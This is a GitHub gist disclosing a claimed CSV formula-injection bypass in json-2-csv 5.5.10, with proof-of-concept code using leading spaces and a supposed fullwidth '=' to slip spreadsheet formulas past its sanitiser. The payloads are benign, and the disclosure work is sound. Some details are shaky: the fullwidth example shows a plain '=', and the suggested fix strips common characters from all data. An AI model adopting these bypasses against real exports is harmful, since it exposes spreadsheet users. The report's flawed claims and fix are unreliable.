Skip to content

Instantly share code, notes, and snippets.

@whoamins
Created December 6, 2025 00:26
Show Gist options
  • Select an option

  • Save whoamins/299745a2d36b482b44e9613b78e40613 to your computer and use it in GitHub Desktop.

Select an option

Save whoamins/299745a2d36b482b44e9613b78e40613 to your computer and use it in GitHub Desktop.

CSV Injection Vulnerability Report

Library: json-2-csv
Version: 5.5.10
Vulnerability: CSV Injection Bypass
Severity: HIGH
Date: 2025-12-06


Summary

The preventCsvInjection option in json-2-csv v5.5.10 can be bypassed, allowing formula injection into CSV files. When opened in spreadsheet applications, these formulas execute.


Vulnerability Details

Vulnerable Code

File: src/json2csv.ts, Line 405-415

function preventCsvInjection(fieldValue: unknown): unknown {
    if (options.preventCsvInjection) {
        if (typeof fieldValue === 'string' && !utils.isNumber(fieldValue)) {
            return fieldValue.replace(/^[=+\\-@\\t\\r]+/g, '');
            //                         ^ Only removes from START of string
        }
    }
    return fieldValue;
}

Root Cause

The regex /^[=+\\-@\\t\\r]+/g only removes dangerous characters from the beginning of the string, not from the middle or after whitespace.


Proof of Concept

Bypass Technique: Multiple Spaces

const { json2csv } = require('json-2-csv');

const data = [
    { name: 'Alice', value: '100' },
    { name: 'Bob', value: '200' },
    { name: 'Total', value: '   =SUM(B1:B2)' }  // 3 spaces before =
];

const csv = json2csv(data, { preventCsvInjection: true });
console.log(csv);

Output:

name,value
Alice,100
Bob,200
Total,   =SUM(B1:B2)

Result: Formula is NOT removed. When opened in Excel/Numbers, cell B3 shows 300 (calculated).

Bypass Technique: Fullwidth Equals

const data = [
    { name: 'Alice', value: '100' },
    { name: 'Bob', value: '200' },
    { name: 'Total', value: '=SUM(B1:B2)' }  // Fullwidth =
];

const csv = json2csv(data, { preventCsvInjection: true });

Result: Fullwidth is not detected. Formula executes in spreadsheet.


Impact

  • Data Exfiltration: =INDIRECT("A1") can read any cell
  • Information Disclosure: =MAX(A:A) reveals maximum values
  • Calculation Manipulation: =SUM(A1:A10)*2 alters totals

CVSS v3.1: 7.5 (High)


Reproduction Steps

  1. Install: npm install json-2-csv@5.5.10
  2. Run: node poc-csv-injection.js
  3. Open generated CSV in Excel/Numbers
  4. Verify formulas execute

Recommended Fix

function preventCsvInjection(fieldValue: unknown): unknown {
    if (options.preventCsvInjection) {
        if (typeof fieldValue !== 'string') {
            fieldValue = String(fieldValue);
        }
        
        // Normalize Unicode
        fieldValue = fieldValue.normalize('NFKC');
        
        // Remove ALL dangerous characters (not just leading)
        return fieldValue.replace(/[=+\-@]/g, '');
        
        // Alternative: Prefix with single quote
        // return "'" + fieldValue;
    }
    return fieldValue;
}

References

PoC Code

/**
 * CSV Injection Vulnerability - Minimal PoC
 * 
 * Demonstrates that preventCsvInjection can be bypassed
 */

const { json2csv } = require('json-2-csv');
const fs = require('fs');

console.log('CSV Injection Vulnerability PoC');
console.log('Library: json-2-csv v5.5.10\n');

// Simple PoC: Multiple spaces bypass
const data = [
    { name: 'Alice', value: '100' },
    { name: 'Bob', value: '200' },
    { name: 'Total', value: '   =SUM(B1:B2)' }  // 3 spaces before =
];

const csv = json2csv(data, { preventCsvInjection: true });

console.log('Generated CSV:');
console.log(csv);
console.log('');

// Save to file
fs.writeFileSync('poc-bypass.csv', csv);

console.log('✅ File created: poc-bypass.csv');
console.log('');
console.log('Testing:');
console.log('1. Open poc-bypass.csv in Excel/Numbers');
console.log('2. Check cell B3 (Total row)');
console.log('3. If it shows "300" → Bypass works ✅');
console.log('4. If it shows "   =SUM(B1:B2)" → Protected ❌');
console.log('');
console.log('Expected: Cell B3 shows 300 (formula executed)');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment